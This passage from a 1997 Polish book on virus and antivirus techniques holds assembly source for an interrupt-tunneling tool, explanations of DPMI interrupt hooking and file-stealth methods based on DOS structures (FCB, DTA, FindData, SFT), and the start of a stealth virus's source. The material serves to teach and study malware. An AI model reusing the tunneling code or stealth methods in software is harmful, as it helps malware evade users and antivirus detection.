           int  21h                     ;  \   przerwania krokowego Int 1
           mov  of1,bx                  ;   \
           mov  se1,es                  ;    \ i zmien je na nowa procedure
                                        ;    - obslugi, sprawdzajaca czy
           mov  dx,offset Tracer_21     ;   /  funkcja zostala juz wykonana
           mov  ax,2501h                ;  /   przez DOS
           int  21h                     ; /

           pushf                        ; \    wlacz tryb krokowy
           pop ax                       ;  \   procesora
           or ah,1                      ;   \
           push ax                      ;  /
           popf                         ; /

           mov  ah,62h                  ; numer funkcji DOS
           pushf                        ; czesc emulacji Int 21
           mov  TraceMode,ON            ; wlacz flage tracera
           Call dword ptr cs:IntAsFarCall ; emuluj int 21
           mov  TraceMode,OFF           ; wylacz flage tracera

           pushf                        ; \    wylacz tryb krokowy
           pop  ax                      ;  \   procesora
           and  ah,0FEH                 ;   \
           push ax                      ;  /
           popf                         ; /
                                        ; \  przywroc stary adres przerwania
           lds  dx,dword ptr cs:of1     ;  / krokowego Int 1
           mov  ax,2501h                ; /
           int  21h

           pop  si                      ; \
           pop  dx                      ;  \
           pop  cx                      ;   \ przywroc zmieniane rejestry
           pop  bx                      ;    /
           pop  ax                      ;   /
           pop  es                      ;  /
           pop  ds                      ; /

           ret                          ; powrot z procedury

Tracing21 endp

background image

Tracer_21  proc far

           push bp                      ; zachowaj zmieniany rejestr

           mov  bp,sp                   ; BP wskazuje na stos
                                        ; [bp+00]  BP
                                        ; [bp+02]  IP
                                        ; [bp+04]  CS
                                        ; [bp+06]  FLAGS

           push ax                      ; zachowaj zmieniany rejestr

           cmp  cs:TraceMode,ON         ; czy wlaczony tracer ?
           jne  Tracer_21Exit           ; jesli nie, to wyskocz z procedury

           mov  ax,[bp+04]              ; AX=CS instrukcji
           cmp  ax,cs:ShowSeg           ; czy segment kodu ten sam
           je   OldSeg21                ; tak=wyskocz procedury

           mov  cs:ShowSeg,ax           ; nie=zachowaj nowy adres seg:ofs
           mov  ax,[bp+02]              ; AX=CS instrukcji
           mov  cs:ShowOfs,ax           ; AX=IP instrukcji

OldSeg21:
           cmp bx,cs:MagicNum1          ; \
           jne Tracer_21Exit            ;  \  czy funkcja juz sie wykonala ?
                                        ;   / nie=wyskocz z procedury
           mov cs:TraceMode,OFF         ;  /  tak=wylacz tracer, bo adres
                                        ; /   znaleziony

Tracer_21Exit:                          ; koniec przerwania Int 1

           pop ax                       ; przywroc zmieniany rejestr

           or   byte ptr [bp+7],1       ; [bp+06]  FLAGS, ustaw
                                        ; bit TF dla nastepnego rozkazu
                                        ; wykonywanego po IRET

           pop  bp                      ; przywroc zmieniany rejestr

           iret                         ; powrot z przerwania Int 1

Tracer_21  endp

GetOriginal2F  proc near

background image

           push si                      ; zachowaj zmieniany rejestr

           lea  si,TeGet2F              ; \ pokaz info o przerwaniu 2Fh
           Call Print                   ; /

           Call LookUpTable2F           ; wez adres 2Fh
                                        ; tablica stalych adresow
           Call ShowAddr                ; pokaz adres 21h

           pop  si                      ; przywroc zmieniany rejestr

           ret                          ; powrot z procedury

GetOriginal2F  endp

LookUpTable2F proc near

           push es                      ; \
           push ax                      ;  \ zachowaj zmieniane rejestry
           push bx                      ;  /
           push si                      ; /

           lea  si,TeLookUpTable2F      ; \ wyswietl info o metodzie
           Call Print                   ; /

           xor  ax,ax                   ; \ zeruj zmienne pomocnicze
           mov  ShowSeg,ax              ;  /
           mov  ShowOfs,ax              ; /

           mov  ShowError, offset TeLookUpTableFailDOSVer
                                        ; ewentualny komunikat o bledzie

           mov  ah,30h                  ; \ wez wersje DOS
           int  21h                     ; /
           xchg al,ah                   ; ax=wersja DOS, ah=major,al=minor

           mov  bx,10C6h                ; ofset dla DOS 5.0 - 6.22

           cmp  ax,0500h                ; wersja musi byc wieksza od 5.00
           jb   LookUpTable2F_Exit      ; mniejsza=tuneling nie zadziala

           cmp  ax,0622h                ; dla wersji wiekszej od 6.22
           jbe  DOSVerOk2F              ; jest inny ofset

           mov  bx,0FDAh                ; ofset dla DOS >6.22 (np. 7.0)

DOSVerOk2F:                             ; ofset ustawiony

background image

           push bx                      ; zachowaj go na stosie

           mov  ah,52h                  ; \ pobierz do ES:BX adres struktury
           int  21h                     ; / LL (lista list)

           pop  bx                      ; przywroc ze stosu ofset do skoku

           mov  ShowError, offset TeLookUpTableFailBadOfs
                                        ; ewentualny komunikat o bledzie

                                        ; czy pod ES;BX jest sekwencja
                                        ; 90 lub EB      NOP \JMP $+3
                                        ; 90 lub 03      NOP /
                                        ; E8 xx xx       CALL NEAR [IP+xxxx]
                                        ; 2E FF 2E yyyy  JMP FAR CS:[yyyy] ?
           cmp  word ptr es:[bx],9090h
           je   FirstCodeOK2F           ; skocz, gdy sa 2-a NOPy

           cmp  word ptr es:[bx],03EBh
           jne  LookUpTable2F_Exit      ; skocz, gdy JMP $+3

FirstCodeOK2F:
           cmp  byte ptr es:[bx+2],0E8h ;
           jne  LookUpTable2F_Exit      ; skocz, gdy nie ma CALL xxxx

           cmp  word ptr es:[bx+5],0FF2Eh
           jne  LookUpTable2F_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far

           cmp  byte ptr es:[bx+7],02Eh ;
           jne  LookUpTable2F_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far

           mov  bx,word ptr es:[bx+8]   ; \ pobierz [yyyy]=adres oryginalnej procedury
           les  bx,dword ptr es:[bx]    ; /

           mov  ShowSeg,es              ; przepisz segment i ofset
           mov  ShowOfs,bx              ; potrzebne do wyswietlenia adresu

LookUpTable2F_Exit:                     ; skacz tu, gdy jakis blad

           pop  si
           pop  bx                      ; \
           pop  ax                      ;  - przywroc zmieniane rejestry
           pop  es                      ; /

           ret                          ; powrot z procedury

LookUpTable2F endp

background image

ShowAddr proc near                      ; wyswietl adres w postaci
                                        ; seg:ofs heksalnie na podstawie
                                        ; zawartosci zmiennych
                                        ; ShowSeg i ShowOfs

           push ax                      ; \ zachowaj zmieniany rejestr
           push si                      ; /

           mov  si,ShowError            ; \ wez adres komunikatu o ewentualnym
                                        ; / bledzie
           mov  ax,ShowSeg              ; czy seg i ofs sa wyzerowane,
           or   ax,ShowOfs              ; tzn czy nie znaleziono adresu ?
           jz   ShowAddrError           ; tak=nie znaleziono adresu

           mov  ax,ShowSeg              ; \ wyswietl segment
           Call PrintHexDW              ; /

           mov  al,':'                  ; \ wyswietl dwukropek
           Call PrintChar               ; /

           mov  ax,ShowOfs              ; \ wyswietl ofset
           Call PrintHexDW              ; /

           lea  si,TeCRLF               ; \  wyswietl CR,LF,
ShowAddrError:                          ;  - czyli przejdz do nastepnego wiersza
           Call Print                   ; /  lub komunikat o bledzie

           pop  si                      ; \
           pop  ax                      ; / przywroc zmieniany rejestr

           ret                          ; powrot z procedury

ShowAddr endp

PrintHexDW proc near                    ; procedura wyswietla heksalnie
                                        ; liczbe zawarta w AX

           push ax                      ; \ zachowaj zmieniane rejestry
           push bx                      ; /

           lea  bx,HexChars             ; bx wskazuje na tablice konwersji
                                        ; liczb heksadecymalnych 0..F

           Call PrintHex                ; wyswietl liczbe w AX

background image

           pop  bx                      ; \ przywroc zmieniane rejestry
           pop  ax                      ; /

           ret                          ; powrot z procedury

PrintHexDW endp

PrintHex   proc near

           push ax                      ; zachowaj mlodsza czesc adresu

           mov al,ah                    ; AL=starsza czesc adresu
           Call PrintHexDB              ; wyswietl starsza czesc adresu

           pop ax                       ; przywroc mlodsza czesc adresu

PrintHexDB:                             ; wyswietl czesc adresu z al

           mov  ah,al                   ; zachowaj na chwile te czesc

           shr  al,1                    ; \   wyswietl starsza czesc bajtu
           shr  al,1                    ;  \  al przesuniete o 4 w prawo
           shr  al,1                    ;   \
           shr  al,1                    ;   /
           xlat byte ptr cs:[bx]        ;  /  al=[bx+al]
           Call PrintChar               ; /   wyswietl znak w AL

           mov  al,ah                   ; \   wyswietl mlodsza czesc bajtu
           and  al,15                   ;  \  al zamaskowane z 00001111b
           xlat byte ptr cs:[bx]        ;  / al=[bx+al]
           Call PrintChar               ; /  wyswietl znak w AL

           ret                          ; powrot z procedury
PrintHex endp

Print proc near                         ; procedura wyswietla tekst ASCIIZ
                                        ; spod adresu CS:SI

           push ax                      ; \ zachowaj zmieniane rejestry
           push si                      ; /

GetNextChar:
           lods byte ptr cs:[si]        ; wez kolejny znak
           or   al,al                     ; czy znak jest zerem
           jz   PrintExit                 ; tak=koniec napisu; wyjdz z petli
           Call PrintChar               ; nie=wyswietl znak w AL
                                        ;

background image

           jmp short GetNextChar        ; i wez nastepny znak

PrintExit:
           pop  si                      ; \ przywroc zmieniane rejestry
           pop  ax                      ; /

           ret                          ; powrot z procedury

Print endp

PrintChar proc near                     ; procedura wyswietla znak w AL

           push ax                      ; zachowaj zmieniany rejestr

           mov  ah,0Eh                  ; funkcja BIOS
           int  10h                     ; wyswietl znak w AL

           pop  ax                      ; przywroc zmieniany rejestr

           ret                          ; powrot z procedury

PrintChar endp

TeCopyRight:
            db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk 1997',NUL

TeGet13     db CR,LF,'Adres oryginalnej procedury 13h : '
            db CR,LF,NUL

TeGet21     db CR,LF,'Adres oryginalnej procedury 21h : '
            db CR,LF,NUL
TeGet2F     db CR,LF,'Adres oryginalnej procedury 2Fh : '
TeCRLF      db CR,LF,NUL

TeTrik2F13         db '      _ trik Int 2Fh/13h               := ',NUL
TeTracing13        db '      _ tracing 13h                    := ',NUL

TeLookUpTable21    db '      _ tablica stalych adresow 21h    := ',NUL
TeRecursive21      db '      _ tuneling rekursywny 21h        := ',NUL
TeTracing21        db '      _ tracing 21h                    := ',NUL

TeLookUpTable2F    db '      _ tablica stalych adresow 2Fh    := ',NUL

TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL
TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc >5.0',CR,LF,NUL
TeTracingFail           db 'Blad : Tracing nie dziala',CR,LF,NUL

background image

TeRecursive21Fail       db 'Blad : Tuneling rekursywny nie dziala',CR,LF,NUL

HexChars    db '0123456789ABCDEF'

    ShowSeg   dw ?                      ; zmienne pomocnicze do zachowywania
    ShowOfs   dw ?                      ; znalezionego adresu

    ShowError dw ?                      ; zmienna dla ewentualnych bledow

          of1 dw ?                      ; zmienne potrzebne do zachowywania
          se1 dw ?                      ; adresu Int 1

IntAsFarCall  label dword               ; adres dalekiej procedury sluzacej do
   CallFarOfs dw ?                      ; emulacji instrukcji INT
   CallFarSeg dw ?

    TraceMode db ?                      ; flaga ON=wlaczony/OFF= wlaczony tracer

    MagicNum1 dw ?                      ; zmienne pomocnicze do przechowywania
    MagicNum2 dw ?                      ; wartosci potrzebnych do sprawdzenia czy
                                        ; jestesmy juz we wlasciwym kodzie DOS/BIOS

PROG ends                               ; koniec segmentu kodu i danych
end CodeStart                           ; koniec programu, pierwsza instrukcja
                                        ; pod etykieta CodeStart

6.5. Wykorzystanie trybu chronionego
Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich 
używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do 
trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane 
najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez 
chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto, 
aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do 
pamięci powyżej 1MB.
W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż 
udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode 
Interface).
Do przejmowania przerwań służą funkcje:
> 0200h - odczytanie wektora przerwań trybu rzeczywistego;
> 0201h - zapisanie wektora przerwań trybu rzeczywistego;
> 0202h - odczytanie adresu procedury obsługi wyjątku;
> 0203h - ustawienie adresu procedury obsługi wyjątku;
> 0204h - odczytanie wektora przerwań trybu wirtualnego;
> 0205h - zapisanie wektora przerwań trybu wirtualnego;
Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h. 
Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji 

background image

(1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego 
zawarte są w pozycjach [l] i [6] ze spisu na końcu książki.

6.6. Włączanie się jako program obsługi urządzenia
Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on 
oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co 
zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP

ROZDZIAŁ 7

Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie 
wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie 
wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących 
programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus 
znika wkrótce z wirusowej sceny.
Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania 
się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w 
pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe 
ukrywają wirusa przed oczyma ciekawskich.

7.1. Technika stealth
Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku 
plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, 
wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią 
sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym 
powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki 
stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się 
wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji 
systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora 
uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.
Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez 
wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały 
omówione poniżej.

7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth)
Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych 
długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w 
oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander 
czy też innych, mniej znanych nakładek.
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z 
trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego 
wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). 
Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje 
odpowiednie pola struktur, na których operuje dana funkcja.
W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi 

background image

przerwania, a następnie modyfikuje elementy odpowiedniej struktury:
> pozycji katalogu (funkcje 11/12);
> DTA (funkcje 4E/4F);
> FindData (funkcje 714E/714F).
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w 
odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, 
będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są 
oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS
Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych 
specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody 
operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control 
Block},
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, 
zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), 
których opis przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku 
FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe 
pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym 
blokiem opisu pliku.
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza 
go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu 
pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola 
długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).
Struktura bloku opisu pliku FCB (zwykłego)
Adres

Zawartość

00

numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok 
opisu pliku FCB

01-08

8 bajtów nazwy pliku

09-0B

3 bajty rozszerzenia pliku 

0C-0D

 numer aktualnego bloku 

0E-0F

długość logicznego rekordu

10-13

długość pliku

14-15

data ostatniej modyfikacji pliku

16-17

czas ostatniej modyfikacji pliku

18

ilość SFT dla pliku

19

atrybuty, znaczenie bitów
bity 7-6 
00 - SHARE.EXE niezaładowany, plik dyskowy 
01             - SHARE.EXE niezaładowany, sterownik
10             - SHARE.EXE załadowany, plik zdalny
11             - SHARE.EXE załadowany, plik dyskowy
                   lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów

1A-1F

zawartość zależna od pola 19, bity 7-6 
wartość 11
   1A-1B         numer pierwszej JAP pliku 

background image

   1C-1D         określa numer rekordu w dostępie dzielonym 
   1E              atrybuty pliku 
   1F              nie używane wartość 
10
   1A-1B         uchwyt w sieci 
   1C-1F         ID w sieci wartość 
01
   1A-1D         wskaźnik do nagfówka sterownika 
   1E-1F         nie używane 
wartość 00 
   1A              bajt informacyjny        
   bit 7:      atrybut tytko do odczytu w SFT        
   bit 6:      atrybut archiwalności w SFT        
   bity 5-0:  wyższe bity numeru sektora 
   1B-1C         numer pierwszej JAP pliku 
   1D-1F         niższe bity sektora zawierającego adres w katalogu 
   1F              ilość pozycji katalogu w sektorze

20

bieżący rekord 

21-24

numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, 
bardziej znacząca część jest pomijana

           
Struktura bloku opisu pliku FCB (rozszerzonego)
Adres

Zawartość

00

wartość OFFh oznacza blok rozszerzony 

01-05

zarezerwowane

06

atrybuty pliku 

07-2B

zwykły blok opisu FCB (patrz poprzednia tabela)

Struktura pola opisu pozycji katalogu
Adres

Zawartość

00-07

nazwa pliku

08-0A

rozszerzenie pliku

0B

atrybuty pliku 

0C-15

zarezerwowane

16-17

czas ostatniej modyfikacji pliku 

18-19

data ostatniej modyfikacji pliku 

1A-1B

numer pierwszej JAP 

1C-1F

długość pliku

7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, 
Windows 3.1)
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki 
rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania 
tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji 
katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się 
natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji, 
należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie 

background image

odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-
1D) oraz czas i data (adresy 16-17 i 18-19).
Struktura DTA
Adres

Zawartość

00

znaczenie bitów:
   bity 6-0 numer napędu         
   bit 7  ustawiony, oznacza plik zdalny

01-0B

szablon poszukiwanych pozycji katalogu 

0C

atrybuty poszukiwanej pozycji 

0D-0E

numer wejścia w katalogu

0F-10

numer JAP katalogu nadrzędnego

11-14

zarezerwowane

15

atrybut znalezionej pozycji katalogu

16-17

czas ostatniej modyfikacji znalezionej pozycji katalogu

18-19

data ostatniej modyfikacji znalezionej pozycji katalogu

1A-1D

długość znalezionej pozycji katalogu

1E-2A

nazwa i rozszerzenie pliku

7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz 
polecenie DIR wywoływane z poziomu okna Tryb MS-DOS
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, 
którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi 
długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows 
oraz gdy zainstalowany jest tzw. Menedżer IFS.
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), 
gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich 
podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a 
dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości 
katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na 
wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane 
funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-
DOS (w systemie Windows 95).
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym 
obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-
bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje 
poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla 
systemu DOS.
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku 
KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada 
funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta 
większość programów działających w systemie Windows 95, m.in. Explorator, a także 
różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie 
pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma 
wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku 
KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy 
zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL 

background image

w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie 
tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla 
Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych 
ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia 
się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, 
czy rzeczywiście jest on właściwy.
Opis struktury FindData zamieszczono poniżej.
Struktura FindData
Adres

Zawartość

00-03

atrybuty pliku
   bity 0-6 standardowe atrybuty plików DOS
   bit 8 plik tymczasowy (temporary)

04-0B

czas i data utworzenia pliku

0C-13

czas i data ostatniego dostępu do pliku

14-1B

czas i data ostatniej modyfikacji pliku

1C-1F

długość pliku (bardziej znaczące 32 bity)

20-23

długość pliku (mniej znaczące 32 bity)

24-2B

zarezerwowane

2C-12F

260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ)

130-13D

14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ)

7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)
Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać 
także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość 
katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie 
infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż 
nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem 
(klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). 
Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną 
infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie 
odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w 
pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący 
plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie 
procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w 
poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem 
wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, 
często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku 
zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego 
długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, 
jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać 
jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na 
końcu pliku wirusa.
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są 
dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na 
wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), 

background image

zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka 
podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku 
uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy 
jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich 
użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki 
otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej 
dany plik. Używa się do tego poniższej sekwencji:
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu
MOV AX,1220h            ; weƒ adres tablicy JFT zawieraj╣cej numer SFT,
                        ; opisuj╣cej plik podany w BX
MOV BX,UchwytPliku      ; BX zawiera uchwyt (numer) pliku 
INT 2Fh                 ; wywo│aj funkcjÛ
MOV BL,ES:[DI]          ; weƒ numer tablicy SFT
MOV AX,1216h            ; weƒ adres tablicy SFT na podstawie numeru w BL 
INT 2Fh                 ; wywo│aj funkcjÛ ES:DI wskazuje na tablicÛ SFT pliku

Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy 
SFT podano poniżej:
Format podtablicy SFT
Adres

Zawartość

00-03

Wskaźnik do następnej podtablicy 

04

N - liczba plików w podtablicy 

06-40

Opis pliku nr 1 w podtablicy - patrz następna tablica
Opis pliku nr N w podtablicy

                       
Opis pliku zawarty w tablicy SFT
Adres

Zawartość

00-01

Liczba łączników do pliku 

02-03

Tryb

04

Atrybut pliku 

05-06

Informacja o pliku

07-0A

Wskaźnik do nagłówka programu obsługi lub do bloku DPB 

0B-0C

Pierwsza JAP pliku 

0D-0E

Czas ostatniej modyfikacji pliku 

0F-11

Data ostatniej modyfikacji pliku 

11-14

Rozmiar pliku 

15-18

Aktualna pozycja wskaźnika odczytu/zapisu pliku

19-1A

Względny numer JAP

1B-1E

Położenie elementu katalogu opisującego plik

20-2A

Nazwa i rozszerzenie pliku

2B-2E

Wskaźnik do poprzedniego elementu SFT (pole programu SHARE)

2F-30

Numer komputera w sieci (pole programu SHARE)

31-32

Adres właściciela pliku (jego PSP)

33-34

Położenie w obszarze roboczym listy zablokowanych regionów pliku 
(pole programu SHARE)

35-36

Numer JAP 

background image

37-3A

Wskaźnik do IFS pliku lub 00000000h

Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia 
DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  KOMB_STE v1.0, Autor : Adam Blaszczyk 1997                ;
;                                                                            ;
;      Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH           ;
;                                                                            ;
;----------------------------------------------------------------------------;
;       Informacje Techniczne                                                ;
;----------------------------------------------------------------------------;
;                                                                            ;
;    Wirus oszukuje uzytkownika w nastepujacy sposob :                       ;
;     _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za      ;
;       pomoca polecenia DIR                                                 ;
;     _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za      ;
;       pomoca nakladek typu Dos Navigator, Norton Commander                 ;
;     _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa     ;
;       (plik jest sztucznie "ucinany" w tablicy SFT )                       ;
;                                                                            ;
;    Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych   ;
;    plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja     ;
;    programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus   ;
;    informuje o wykonywanych przez siebie operacjach - w momencie wywolania ;
;    zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym,   ;
;    iz wirus jest juz zainstalowany w pamieci.                              ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM     KOMB_STE.ASM                                          ;
;             TLINK /t KOMB_STE.OB J                                         ;
;                                                                            ;
;----------------------------------------------------------------------------;
JUMPS
KOMB_STE SEGMENT
        ASSUME CS:KOMB_STE, DS:KOMB_STE
        ORG 100h

     Haslo     = 0BACAh                    ; \ do sprawdzenia czy wirus jest
     Odpowiedz = 0CABAh                    ; / juz zainstalowany w pamieci

           NUL = 00h                       ; \
           LF  = 0Ah                       ;  - stale znakow

background image

           CR  = 0Dh                       ; /

  AtrReadOnly  = 00000001b                 ; \
  AtrHidden    = 00000010b                 ;  \
  AtrSystem    = 00000100b                 ;   \ rozne stale atrybutow
  AtrVolumeID  = 00001000b                 ;   / pozycji katalogu
  AtrDirectory = 00010000b                 ;  /
  AtrArchive   = 00100000b                 ; /

